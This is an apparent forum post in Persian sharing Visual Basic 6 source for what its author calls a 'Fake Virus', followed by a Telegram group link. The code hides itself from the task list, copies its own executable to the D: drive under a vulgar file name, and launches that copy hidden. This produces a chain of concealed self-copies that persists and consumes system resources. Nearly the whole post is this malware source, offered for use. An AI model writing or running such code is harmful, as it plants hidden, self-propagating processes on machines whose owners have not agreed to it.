09-18-2011، 12:48 PM
(آخرین تغییر در ارسال: 09-18-2011، 12:54 PM توسط Amin_Mansouri.)
کد:
'Coder : Amin Mansouri
'Fake Virus (Amator Programming)
Private Declare Function GetTickCount Lib "kernel32" () As Long
Private Const Amin = "d:\Fucker.exe"
Private Sub Form_Load()
App.TaskVisible = False
AminWhile (900000000)
End Sub
Function AminWhile(Time As Long)
On Error Resume Next
Dim StartTime As Long
StartTime = GetTickCount()
Kill Amin
FileCopy (App.Path & "\" & App.EXEName & ".exe"), Amin
Shell (Amin), vbHide
While (StartTime + Time) > GetTickCount()
DoEvents
Wend
End Function
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg